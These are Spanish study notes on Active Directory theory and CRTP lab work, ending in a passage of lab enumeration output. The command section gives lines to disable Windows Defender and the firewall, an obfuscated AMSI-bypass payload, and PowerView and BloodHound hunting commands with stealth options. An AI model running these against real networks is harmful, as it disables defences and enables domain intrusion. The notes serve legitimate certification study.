# Inicio Esta pagina es privada por ahora, aqui estare llenando toda la informacion que recopile al estudiar sobre infraestructura de Windows para ser mas especifico AD. Esto iniciarmente esta hecho para dar la certificacion CRTP. {% embed url="" %} {% embed url="" %} # Estructura del Sitio (Organizacion) Por ahora, no hay una estructura fija para este recurso, por ello actualmente manejare una estructura simple que consiste en: * **Teoria** Informacion Obtenida de AD * **Dudas** de Teoria * **Ideas** random que pueden que existan o no. # Que es el directorio activo? Para empezar con todo los temas de AD, es buena idea ver un video introductorio que nos ayude a aterrizar mejor los conceptos. {% embed url="" %} # Como Instalar tu directorio activo? Para esto, existe un video bien explicado que encontre que abarca buenos conceptos y al mismo tiempo tambien la instalacion del mismo. {% embed url="" %} ### Puntos Clave Resaltare algunos puntos de la instalacion que considero claves.

Configuracion de IPv4

Se configura la IP del DC de manera estatica, y se setea como DNS primario o preferente la misma IP del DC ya que este contendar el DNS del AD. No se implementa IPv6 a menos de que sea necesario. Luego para instalar ingresamos a Add Roles and Features.
Luego Siguiente, Siguiente, Siguiente, y seleccionamos Active Directory Domain Services.
Siguiente, Siguiente e Install.
Podemos ver, que indica que se requiere de una configuracion.
Para ello accedemos a la banderita y realizamos la configuracion promoviendo el servidor como un DC (Domain Controller).
Luego obtenemos la siguiente pantalla.
1. Agregar un dominio DC a un Dominio existente (Hay que tener un dominio ya creado). 2. Agregar un nuevo Dominio a un Bosque (Esto lo veremos en la siguiente pagina de este blog cuando toquemos Dominios, Bosques y Arboles). 3. Agregar un nuevo Bosque (Al crear tu primer dominio, este por consecuencia pasa a ser un bosque ya que estarias creando un dominio que viene a ser el dominio raiz de cualquier dominio que crees o agregues debajo de el). Luego Seleccionamos el nombre del dominio que vamos a crear y le damos siguiente.
1. El nivel Funcional del Bosque, hace referencia a la version minima de Windows Server que permitira usar a los DC que estén dentro del bosque, en el cual pueden haber varios dominios. 2. El nuvel Funciona del Dominio, es una configuracion mas restrictiva que hace referencia específicamente a este dominio que se esta configurando y no a los demás del bosque. 3. Se activa la opcion de un DNS server, para que el DC pueda tener acceso y configuracion ante el servidor DNS del AD. 4. El Global Catalog es una característica que permite a un controlador de dominio (DC) proporcionar información sobre cualquier objeto en el bosque, independientemente de si el objeto es miembro de su dominio. Los controladores de dominio con la función de catálogo global activada se denominan servidores de catálogo global. 5. El Read only domain controller es una caracteristica que configura un DC de solo lectura, con la unica finalidad de realizar consultas pero sin la posibilidad de crear, eliminar, configurar y agregar objetos. 6. El Directory Server Restore Mode es un usuario local del DC que permite realizar un modo de recuperacion del DC en caso de alguna falla que no te permita acceder al mismo con las credenciales del usuario. Luego Siguiente, Siguiente, Siguiente, Siguiente,
1. El directorio donde se almacenara el NTDS que vendria a ser la base de datos del AD. 2. Directorio donde se almacenaran los archivos de los logs que genere el AD. 3. El SYSVOL guarda todos los elementos importantes de la política de grupo de AD. Los scripts de inicio de sesión y las políticas se entregan a cada usuario del dominio a través de SYSVOL, que almacena toda la información relacionada con la seguridad del directorio activo. Luego, siguiente e install.
Luego de la instalacion, el servidor se reiniciara e iniciara con las configuraciones del AD. # Elementos {% embed url="" %} # Dominio Un *Dominio* es una colección de objetos dentro del directorio que forman un subconjunto administrativo. Pueden existir diferentes dominios dentro de un bosque, cada uno de ellos con su propia colección de objetos y unidades organizativas. Para poner nombre a los dominios se utiliza el protocolo DNS. Por este motivo, Active Directory necesita al menos un servidor DNS instalado en la red. Más adelante, en este mismo apartado, definiremos los conceptos de bosque y unidad organizativa. # Árbol Un *Árbol* es simplemente una colección de dominios que dependen de una raíz común y se encuentra organizados como una determinada jerarquía. Dicha jerarquía también quedará representada por un espacio de nombres DNS común. De esta forma, sabremos que los dominios **somebooks.es** e **informatica.somebooks.es** forman parte del mismo árbol, mientras que **sliceoflinux.com** y **somebooks.es** no. El objetivo de crear este tipo de estructura es fragmentar los datos del Directorio Activo, replicando sólo las partes necesarias y ahorrando ancho de banda en la red. Si un determinado usuario es creado dentro de un dominio, éste será reconocido automáticamente en todos los dominios que dependan jerárquicamente del dominio al que pertenece.
# Bosque El *Bosque* es el mayor contenedor lógico dentro de Active Directory, abarcando a todos los dominios dentro de su ámbito. Los dominios están interconectados por Relaciones de confianza transitivas que se construyen automáticamente (consultar más adelante el concepto de Relación de confianza). De esta forma, todos los dominios de un bosque confían automáticamente unos en otros y los diferentes árboles podrán compartir sus recursos. Como ya hemos dicho, los dominios pueden estar organizados jerárquicamente en un árbol que comparte un espacio de nombres DNS común. A su vez, diferentes árboles pueden estar integrados en un bosque. Al tratarse de árboles diferentes, no compartirán el mismo espacio de nombres. De forma predeterminada, un bosque contiene al menos un dominio, que será el *dominio raíz del bosque*. En otras palabras: cuando instalamos el primer dominio en un ordenador de nuestra red que previamente dispone de Windows Server 2008, además del propio dominio, estamos creando la raíz de un nuevo árbol y también la raíz de un nuevo bosque. El dominio raíz del bosque contiene el *Esquema* del bosque, que se compartirá con el resto de dominios que formen parte de dicho bosque (consultar el concepto de *Esquema* más adelante).
# Unidad Organizativa Una *Unidad Organizativa* es un contenedor de objetos que permite organizarlos en subconjuntos, dentro del dominio, siguiendo una jerarquía. De este modo, podremos establecer una estructura lógica que represente de forma adecuada nuestra organización y simplifique la administración. Otra gran ventaja de las unidades organizativas es que simplifican la delegación de autoridad (completa o parcial) sobre los objetos que contienen, a otros usuarios o grupos. Esta es otra forma de facilitar la administración en redes de grandes dimensiones.
# Base de datos # Objetos La palabra *Objeto* se utiliza como nombre genérico para referirnos a cualquiera de los componentes que forman parte del directorio, como una impresora o una carpeta compartida, pero también un usuario, un grupo, etc. Incluso podemos utilizar la palabra objeto para referirnos a una Unidad organizativa. Cada objeto dispondrá de una serie de características específicas (según la clase a la que pertenezca) y un nombre que permitirá identificarlo de forma precisa. Como veremos más adelante, las características específicas de cada tipo de objeto quedarán definidas en el Esquema de la base de datos. En general, los objetos se organizan en tres categorías Usuarios, Recursos, Servicios.\ \ Existen objetos que pueden contener a su vez otros objetos, como es el caso de los grupos de usuarios y de las unidades organizativas. # Usuarios Identificados a través de un nombre (y, casi siempre, una contraseña), que pueden organizarse en grupos, para simplificar la administración. # Recursos Que son los diferentes elementos a los que pueden acceder, o no, los usuarios según sus privilegios. Por ejemplo, carpetas compartidas, impresoras, etc. # Servicios Que son las diferentes funciones a las que los usuarios pueden tener acceso. Por ejemplo, el correo electrónico. # Protocolos de # Resolucion # Autenticacion Autorizacion en AD: Existen dos protocolos de autorizacion en AD los cuales son Kerberos y NTLM. ## Kerberos La autentiacion por Kerberos se realiza mediante el protocolo Kerberos. El usuario se comunica con el DC o KDC con quien realiza una comunicacion para validar las credenciales y luego de ello se puede comunicar con el computador al cual desea acceder.
Podemos dividir la comunicacion de kerberos en 2 Flujos principales. ### Usuario <--> KDC 1. El Usuario realiza una solicitud para obtener un TGT (Ticket Granting Ticket) el cual seria un ticket que te permite obtener tickets de servicios. 2. El servidor responde al usuario con el TGT. Con ello, el usuario puede solicitar el ticket de servicio. 3. El Usuario envia la solicitud del ticket TGS (Ticket Granting Service) mas la autenticacion del mismo. 4. El servidor responde con el ticket y la llave o key de sesión. ### Usuario <--> Computador 5. Luego, con el ticket de servicio (TGS) creado, el usuario puede realizar la consulta al servicio de un computador en especifico. 6. El server le responde si la autenticacion es valida o no y realiza toda la comunicacion correspondiente. #### Tickets Como podemos ver, tenemos dos tipos de Tickets, TGT y TGS ambos se encriptan pero con llaves diferentes. #### TGT El TGT, como ya vimos es un ticket que sirve para identificar al usuario con el DC. Por ello este va a ser cifrado con la firma del usuario KRBTGT. Si se obtiene la firma de este usuario, se podrian crear Tickets impersonando usuarios con el DC (Golden Ticket). #### TGS El TGS, es un ticket que sirve para identificar identificar un usuario con un servicio dentro de un computador para poder utilizar sus recursos. Por ello este es cifrado con la firma del Computador. Si se obtiene la firma de este computador, se podria crear Tickets impersonando servicios (Silver Ticket). A diferencia del Golden Ticket, el Silver ticket no requiere de conexion al DC ya que utiliza la firmal del computador, no de un usuario que se almacene en el DC esclusivamente. Por ello se dice que el Silver Ticket puede ser generado de manera OFFLINE. Aca adjunto mas informacion sobre kerberos. {% embed url="" %} {% embed url="" %} {% embed url="" %} ## NTLM La autenticacion por NTLM se realiza entre el usuario y la PC, luego la pc se comunica con el DC para realizar la validacion de las credenciales, en caso que no pueda conectarse al DC utiliza las credenciales almacenadas en el cache.

NTLM pass-through authentication

* El usuario inicia sesión en el escritorio del ordenador (denominado Cliente) introduciendo el nombre de usuario y la contraseña. El cliente envía un mensaje NTLM NEGOTIATE\_MESSAGE para solicitar autenticación al servidor. * El servidor envía un NTLM CHALLENGE\_MESSAGE (\[MS-NLMP] sección 2.2.1.2) al cliente. El cliente responde al reto firmándolo con su clave y enviando la respuesta en un NTLM AUTHENTICATE\_MESSAGE al servidor. * El servidor reenvía la respuesta del cliente al controlador de dominio en un mensaje NETLOGON\_NETWORK\_INFO. * El controlador de dominio verifica la firma de la respuesta y devuelve el resultado al servidor en un mensaje NETLOGON\_VALIDATION\_SAM\_INFO4. Si la verificación se realiza correctamente, el mensaje contiene el PAC del usuario con los datos de autorización. Si la verificación no tiene éxito, se deniega el inicio de sesión. #### Ref {% embed url="" %} #### Observaciones La comunicación ya sea Kerberos o NTLM se envia cifrada, pero... El formato antes del cifrado es User:Pass o User:Hash?. \[D004] Kerberos como NTLM son protocolos algo antiguos pero usados hasta el dia de hoy, cada uno para algo en especifico, NTLM no puede morir porque es requerido en muchos servicios ya sean Legacy o Legados. **Luego de ello, existen un protocolo que decide en los sistemas y dependiendo de que requisitos tenga el sistema si es que este usa Kerberos o NTLM como autenticacion.** # Comunicacion # Relaciones de confianzas En el contexto de Active Directory, las *Relaciones de confianza* son un método de comunicación seguro entre dominios, árboles y bosques. Las relaciones de confianza permiten a los usuarios de un dominio del Directorio Activo autenticarse en otro dominio del directorio. Existen dos tipos de relaciones de confianza: unidireccionales y bidireccionales. Además, las relaciones de confianza pueden ser transitivas (A confía en B y B confía en C, luego A confía en C).
## Pentest con Trusts {% embed url="" %} # Dudas Dudas de teoría que poco a poco se empezaran a resolver mientras se estudie mas sobre ello. * D001 - Cual es el protocolo que decide si se usa Kerberos o NTLM. * D002 - Que es Kerberos Relay. * D003 - Se puede conectar un PC al dominio y luego con el contexto obnetido de manera offline crear tickets y luego validarlos conectado al dominio de nuevo. * D004 - La autenticacion mediante Kerberos o NTLM es USER:PASS o USER:HASH. * D005 - Que es Delegacion DNS. * # Ideas Aca escribire ideas algo distanciadas que espero que se pueda validar luego si existe la tecnica o proyecto, o si se puede realizar luego. * Se puede crear un servicio Kerberos o DC falso?, algo como el Responder que levanta servicios para interceptar autenticaciones. # Videos de Pentest en AD {% embed url="" %} {% embed url="" %} # CRTP Notes Pues, aqui agregare mis notas del CRTP, mientras estudio para dar la certificacion :D. # Comandos ## RunAs ``` runas /user:chichocorp.local\mrdesdes powershell.exe ``` ## Execution Policy ``` powershell -ep bypass ``` ## Desactivar Windows Defender ``` Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisableRealtimeMonitoring $true ``` ## Desactivar Firewall ``` netsh advfirewall set allprofiles state off ``` ## AppLocker ``` PS C:\> $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage [dcorp-adminsrv]: PS C:\> Get-AppLockerPolicy -Effective Version RuleCollections RuleCollectionTypes ------- --------------- ------------------- 1 {0, 0, 0, 0...} {Appx, Dll, Exe, Msi...} PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections PublisherConditions : {*\O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\*,*} PublisherExceptions : {} PathExceptions : {} HashExceptions : {} Id : 38a711c4-c0b8-46ee-98cf-c9636366548e Name : Signed by O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US Description : UserOrGroupSid : S-1-1-0 Action : Allow PublisherConditions : {*\O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\*,*} PublisherExceptions : {} PathExceptions : {} HashExceptions : {} Id : 8a64fa2c-8c17-415a-8505-44fc7d7810ad Name : Signed by O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US Description : UserOrGroupSid : S-1-1-0 Action : Allow PathConditions : {%PROGRAMFILES%\*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : 06dce67b-934c-454f-a263-2515c8796a5d Name : (Default Rule) All scripts located in the Program Files folder Description : Allows members of the Everyone group to run scripts that are located in the Program Files folder. UserOrGroupSid : S-1-1-0 Action : Allow PathConditions : {%WINDIR%\*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : 9428c672-5fc3-47f4-808a-a0011f36dd2c Name : (Default Rule) All scripts located in the Windows folder Description : Allows members of the Everyone group to run scripts that are located in the Windows folder. UserOrGroupSid : S-1-1-0 Action : Allow ``` ## Amsi Bypass {% code overflow="wrap" %} ``` S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) ``` {% endcode %} ## Importar RSAT ``` PS C:\AD\Tools\ADModule-master> Import-Module .\Microsoft.ActiveDirectory.Management.dll PS C:\AD\Tools\ADModule-master> cd .\ActiveDirectory\ PS C:\AD\Tools\ADModule-master\ActiveDirectory> Import-Module .\ActiveDirectory.psd1 ``` ## Login a PC ``` Enter-PSSession -Computername dcorp-dc -credential dcorp\Administrator ``` ## Enumeracion del Dominio 
# Obteniendo la informacion del dominio
Get-DomainComputer -Domain chichocorp.local

# Obteniendo Trusts
Get-DomainTrust
Get-DomainTrust -Domain chichocorp.local

Get-ADTrust
Get-ADTrust -Identity chichocorp.local

# Obteniendo Forest
Get-Forest
Get-Forest -Forest chichocorp.local

# Obteniendo all global catalogs del forest
Get-ForestGlobalCatalog
Get-ForestGlobalCatalog -Forest chichocorp.local

# Map trusts of a forest
Get-ForestTrust
Get-ForestTrust -Forest chichocorp.local

# Get Forest Domain
Get-ForestDomain
Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
Get-ForestDomain -Forest chichocorp.local | %{Get-DomainTrust -Domain $_.Name}

# Get domain policy for the current domain
(Get-DomainPolicyData).systemaccess
(Get-DomainPolicyData -Domain chichocorp.local).systemaccess

# Get domain controllers for the current domain
Get-DomainController -Domain chichocorp.local

# Get a list of users in the current domain
Get-DomainUser
Get-DomainUser -Identity mrdesdes

# Get list of all properties for users in the current domain
Get-DomainUser -Identity mrdesdes -Properties *
Get-DomainUser -Properties samaccountname,logonCount

# Search for a particular string in a user's attributes:
Get-DomainUser -LDAPFilter "Description=*password*" | Select name,Description

# Get a list of computers in the current domain
Get-DomainComputer | select Name
Get-DomainComputer -OperatingSystem "*Server*"
Get-DomainComputer -OperatingSystem "*Server*" | select name,operatingsystem
Get-DomainComputer -ping
Get-DomainComputer -ping | select Name

# Get all the groups in the current domain
Get-DomainGroup | select Name
Get-DomainGroup -Domain chichocorp.local

# Get all groups containing the word "admin" in group name
Get-DomainGroup *admin*
Get-DomainGroup *admin* | select Name

# Get all the members of the Domain Admins group
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainGroupMember -Identity "Domain Admins" -Recurse | select MemberName

# Get the group membership for a user
Get-DomainGroup -UserName "mrdesdes"

# List all the local groups on a machine (needs administrator privs on non-dc
machines)
Get-NetLocalGroup -ComputerName desktop-828ljno

# Get members of the local group "Administrators" on a machine (needs administrator privs on non-dc machines)
Get-NetLocalGroupMember -ComputerName desktop-828ljno -GroupName Administrators

# Get actively logged users on a computer (needs local admin rights on
the target)
Get-NetLoggedon -ComputerName desktop-828ljno
Get-NetLoggedon -ComputerName desktop-828ljno | select UserName

# Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)
Get-LoggedonLocal -ComputerName desktop-828ljno

# Get the last logged user on a computer (needs administrative rights and remote registry on the target)
Get-LastLoggedOn -ComputerName desktop-828ljno

# Find shares on hosts in current domain
Invoke-ShareFinder -Verbose

# Find sensitive files on computers in the domain
Invoke-FileFinder -Verbose

# Get all fileservers of the domain
Get-NetFileServer
## GPOs {% code lineNumbers="true" %} ``` # Get list of GPO in current domain Get-DomainGPO Get-DomainGPO -ComputerIdentity desktop-828ljno # Get GPO(s) which use Restricted Groups or groups.xml for interesting users Get-DomainGPOLocalGroup # Get users which are in a local group of a machine using GPO Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity desktop-828ljno # Get machines where the given user is member of a specific group Get-DomainGPOUserLocalGroupMapping -Identity mrdesdes -Verbose # Get OUs in a domain Get-DomainOU # Get GPO applied on an OU. Read GPOname from gplink attribute from Get-NetOU Get-DomainGPO -Identity "{6AC1786C-016F-11D2-945F-00C04fB984F9}" ``` {% endcode %} ## ACLs 
# Get the ACLs associated with the specified object
Get-DomainObjectAcl -SamAccountName mrdesdes -ResolveGUIDs

# Get the ACLs associated with the specified prefix to be used for search
Get-DomainObjectAcl -SearchBase "LDAP://CN=Domain Admins,CN=Users,DC=chichocorp,DC=local" -ResolveGUIDs -Verbose

# We can also enumerate ACLs using ActiveDirectory module but without resolving GUIDs
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=chichocorp,DC=local').Access //No me funciona xd

# Search for interesting ACEs
Find-InterestingDomainAcl -ResolveGUIDs

# Get the ACLs associated with the specified path
Get-PathAcl -Path "\\chichocorp.local\sysvol"
Get-PathAcl -Path "\\desktop-828ljno.chichocorp.local\c$"
## Trusts 
# Get a list of all domain trusts for the current domain
Get-DomainTrust
Get-DomainTrust -Domain chichocorp.local

# Get all domains in the current forest
Get-ForestDomain
Get-ForestDomain -Forest chichocorp.local
(Get-ADForest).Domains

# Get all global catalogs for the current forest
Get-ForestGlobalCatalog
Get-ForestGlobalCatalog -Forest chichocorp.local

# Map trusts of a forest (no Forest trusts in the lab)
Get-ForestTrust
Get-ForestTrust -Forest chichocorp.local
## User Hunting {% code overflow="wrap" lineNumbers="true" %} ``` # Find all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose //This function queries the DC of the current or provided domain for a list of computers (GetNetComputer) and then use multi-threaded Invoke-CheckLocalAdminAccess on each machine. # Find computers where a domain admin (or specified user/group) has sessions Find-DomainUserLocation -Verbose Find-DomainUserLocation -UserGroupIdentity "RDPUsers" # Find computers where a domain admin session is available and current user has admin access (uses Test-AdminAccess) Find-DomainUserLocation -CheckAccess # Find computers (File Servers and Distributed File servers) where a domain admin session is available. Find-DomainUserLocation -Stealth # List sessions on remote machines (https://github.com/Leo4j/InvokeSessionHunter) Invoke-SessionHunter -FailSafe Invoke-SessionHunter -NoPortScan -Targets C:\AD\Tools\servers.txt ``` {% endcode %} ## Privilege Escalation - Local ``` # Get services with unquoted paths and a space in their name Get-UnquotedService -Verbose # Get services where the current user can write to its binary path or change arguments to the binary Get-ModifiableServiceFile -Verbose # Get the services whose configuration current user can modify. Get-ModifiableService -Verbose # Run all checks from PowerUp Invoke-AllChecks ``` ## Feature Abuse ``` Jenkins - lab ``` ## BloodHound * Proporciona una interfaz gráfica de usuario para las entidades y relaciones AD de los datos recogidos por sus ingestores. * Utiliza la Teoría de Grafos para proporcionar la capacidad de mapear el camino más corto para cosas interesantes como los administradores de dominio. * Hay consultas incorporadas para acciones de uso frecuente. * También admite consultas Cypher personalizadas. ``` # Import SharpHound . .\SharpHound.ps1 # Run all methods Invoke-BloodHound -CollectionMethod All SharpHound.exe # To make BloodHound collection stealthy Invoke-BloodHound –Steatlh SharpHound.exe –-steatlh # To avoid detections like MDI Invoke-BloodHound -ExcludeDCs ``` ### Install BloodHound (Parrot) {% embed url="" %} PERO: Realizar un cambio en la instalacion, en el siguiente comando: ``` echo 'deb https://debian.neo4j.com stable 4' | sudo tee /etc/apt/sources.list.d/neo4j.list > /dev/null ``` Por: ``` echo 'deb https://debian.neo4j.com stable latest' | sudo tee /etc/apt/sources.list.d/neo4j.list > /dev/null ``` Luego de importar el .zip en el BloodHound deberia terminar asi:
# Labs ## Learning Objective - 1 ``` PS C:\AD\Tools> Get-NetDomain Forest : moneycorp.local DomainControllers : {dcorp-dc.dollarcorp.moneycorp.local} Children : {us.dollarcorp.moneycorp.local} DomainMode : Unknown DomainModeLevel : 7 Parent : moneycorp.local PdcRoleOwner : dcorp-dc.dollarcorp.moneycorp.local RidRoleOwner : dcorp-dc.dollarcorp.moneycorp.local InfrastructureRoleOwner : dcorp-dc.dollarcorp.moneycorp.local Name : dollarcorp.moneycorp.local ``` ### 1. SID of the member of the Enterprise Admins group ``` PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" GroupDomain : dollarcorp.moneycorp.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local MemberDomain : dollarcorp.moneycorp.local MemberName : svcadmin MemberDistinguishedName : CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local MemberObjectClass : user MemberSID : S-1-5-21-719815819-3726368948-3917688648-1118 GroupDomain : dollarcorp.moneycorp.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local MemberDomain : dollarcorp.moneycorp.local MemberName : Administrator MemberDistinguishedName : CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local MemberObjectClass : user MemberSID : S-1-5-21-719815819-3726368948-3917688648-500 PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" -Domain "moneycorp.local" GroupDomain : moneycorp.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=moneycorp,DC=local MemberDomain : moneycorp.local MemberName : Administrator MemberDistinguishedName : CN=Administrator,CN=Users,DC=moneycorp,DC=local MemberObjectClass : user MemberSID : S-1-5-21-335606122-960912869-3279953914-500 PS C:\AD\Tools> Get-DomainGroupMember -Identity "Enterprise Admins" -Domain "moneycorp.local" GroupDomain : moneycorp.local GroupName : Enterprise Admins GroupDistinguishedName : CN=Enterprise Admins,CN=Users,DC=moneycorp,DC=local MemberDomain : moneycorp.local MemberName : Administrator MemberDistinguishedName : CN=Administrator,CN=Users,DC=moneycorp,DC=local MemberObjectClass : user MemberSID : S-1-5-21-335606122-960912869-3279953914-500 ``` Respuesta: ``` S-1-5-21-335606122-960912869-3279953914-500 ``` ## Learning Objective - 2 ### 2. Display name of the GPO applied on StudentMachines OU ``` PS C:\AD\Tools> Get-DomainOU description : Default container for domain controllers systemflags : -1946157056 iscriticalsystemobject : True gplink : [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=dollarcorp,DC=money corp,DC=local;0] whenchanged : 11/12/2022 5:59:00 AM objectclass : {top, organizationalUnit} showinadvancedviewonly : False usnchanged : 7921 dscorepropagationdata : {11/15/2022 3:49:24 AM, 11/12/2022 5:59:41 AM, 1/1/1601 12:04:16 AM} name : Domain Controllers distinguishedname : OU=Domain Controllers,DC=dollarcorp,DC=moneycorp,DC=local ou : Domain Controllers usncreated : 7921 whencreated : 11/12/2022 5:59:00 AM instancetype : 4 objectguid : 802da67f-f1f8-40a7-9d13-7e76ccb25e39 objectcategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=moneycorp,DC=local usncreated : 44996 displayname : StudentMachines gplink : [LDAP://cn={7478F170-6A0C-490C-B355-9E4618BC785D},cn=policies,cn=system,DC=dollarcorp,DC=moneyc orp,DC=local;0] whenchanged : 11/15/2022 5:46:19 AM objectclass : {top, organizationalUnit} usnchanged : 45933 dscorepropagationdata : {11/15/2022 3:49:24 AM, 11/15/2022 3:49:24 AM, 1/1/1601 12:00:00 AM} name : StudentMachines distinguishedname : OU=StudentMachines,DC=dollarcorp,DC=moneycorp,DC=local ou : StudentMachines whencreated : 11/15/2022 3:49:24 AM instancetype : 4 objectguid : 1c7cd8cb-d8bb-412f-9d76-9cff8afa021f objectcategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=moneycorp,DC=local usncreated : 45190 name : Applocked gplink : [LDAP://cn={0D1CC23D-1F20-4EEE-AF64-D99597AE2A6E},cn=policies,cn=system,DC=dollarcorp,DC=moneyc orp,DC=local;0] whenchanged : 11/15/2022 4:21:20 AM objectclass : {top, organizationalUnit} usnchanged : 45237 dscorepropagationdata : {11/15/2022 4:16:38 AM, 1/1/1601 12:00:00 AM} distinguishedname : OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local ou : Applocked whencreated : 11/15/2022 4:16:38 AM instancetype : 4 objectguid : e33cfcdb-8c09-4a51-a0bf-c67815e72615 objectcategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=moneycorp,DC=local usncreated : 45196 name : Servers gplink : [LDAP://cn={308279C1-FFB6-4D52-948C-660B07AC77FB},cn=policies,cn=system,DC=dollarcorp,DC=moneyc orp,DC=local;0] whenchanged : 11/15/2022 5:45:10 AM objectclass : {top, organizationalUnit} usnchanged : 45916 dscorepropagationdata : {11/15/2022 4:17:04 AM, 1/1/1601 12:00:00 AM} distinguishedname : OU=Servers,DC=dollarcorp,DC=moneycorp,DC=local ou : Servers whencreated : 11/15/2022 4:17:04 AM instancetype : 4 objectguid : f49a5fa1-0296-4e75-9c2d-c68c3b872d15 objectcategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=moneycorp,DC=local ``` ``` PS C:\AD\Tools> Get-DomainGPO -Identity "{7478F170-6A0C-490C-B355-9E4618BC785D}" flags : 0 displayname : Students gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EA C-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}] whenchanged : 11/15/2022 5:48:32 AM versionnumber : 6 name : {7478F170-6A0C-490C-B355-9E4618BC785D} cn : {7478F170-6A0C-490C-B355-9E4618BC785D} usnchanged : 45959 dscorepropagationdata : 1/1/1601 12:00:00 AM objectguid : 0076f619-ffef-4488-bfdb-1fc028c5cb14 gpcfilesyspath : \\dollarcorp.moneycorp.local\SysVol\dollarcorp.moneycorp.local\Policies\{7478F170-6A0C-490C- B355-9E4618BC785D} distinguishedname : CN={7478F170-6A0C-490C-B355-9E4618BC785D},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,D C=local whencreated : 11/15/2022 5:46:19 AM showinadvancedviewonly : True usncreated : 45927 gpcfunctionalityversion : 2 instancetype : 4 objectclass : {top, container, groupPolicyContainer} objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=moneycorp,DC=local ``` Respuesta: ``` Students ``` ## Learning Objective - 3 ### ActiveDirectory Rights for RDPUsers group on the users named ControlxUser ``` PS C:\AD\Tools> Get-DomainUser -Identity "Control*" | select samaccountname samaccountname -------------- Control721user Control722user Control723user Control724user Control725user Control726user Control727user Control728user Control729user Control730user Control731user Control732user Control733user Control734user Control735user Control736user Control737user Control738user Control739user Control740user ``` ``` PS C:\AD\Tools> (Get-Acl 'AD:\CN=Control740User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access | select IdentityReference,ActiveDirectoryRights IdentityReference ActiveDirectoryRights ----------------- --------------------- Everyone ExtendedRight NT AUTHORITY\SELF ExtendedRight NT AUTHORITY\SELF GenericRead NT AUTHORITY\Authenticated Users ReadControl NT AUTHORITY\SYSTEM GenericAll S-1-5-32-548 GenericAll dcorp\Domain Admins GenericAll dcorp\RDPUsers GenericAll NT AUTHORITY\SELF ReadProperty, WriteProperty NT AUTHORITY\SELF ReadProperty, WriteProperty NT AUTHORITY\SELF ExtendedRight NT AUTHORITY\SELF ExtendedRight NT AUTHORITY\SELF ReadProperty, WriteProperty NT AUTHORITY\Authenticated Users ReadProperty NT AUTHORITY\Authenticated Users ReadProperty NT AUTHORITY\Authenticated Users ReadProperty NT AUTHORITY\Authenticated Users ReadProperty S-1-5-32-560 ReadProperty S-1-5-32-561 ReadProperty, WriteProperty S-1-5-32-561 ReadProperty, WriteProperty dcorp\Cert Publishers ReadProperty, WriteProperty dcorp\RAS and IAS Servers ReadProperty dcorp\RAS and IAS Servers ReadProperty dcorp\RAS and IAS Servers ReadProperty dcorp\RAS and IAS Servers ReadProperty S-1-5-32-554 ReadProperty S-1-5-32-554 ReadProperty S-1-5-32-554 ReadProperty S-1-5-32-554 ReadProperty S-1-5-32-554 ReadProperty S-1-5-32-554 ReadProperty S-1-5-32-554 ReadProperty S-1-5-32-554 ReadProperty S-1-5-32-554 ReadProperty S-1-5-32-554 ReadProperty mcorp\Enterprise Key Admins ReadProperty, WriteProperty dcorp\Key Admins ReadProperty, WriteProperty CREATOR OWNER Self NT AUTHORITY\SELF Self NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS ReadProperty NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS ReadProperty NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS ReadProperty NT AUTHORITY\SELF WriteProperty S-1-5-32-554 GenericRead S-1-5-32-554 GenericRead S-1-5-32-554 GenericRead NT AUTHORITY\SELF ReadProperty, WriteProperty NT AUTHORITY\SELF ReadProperty, 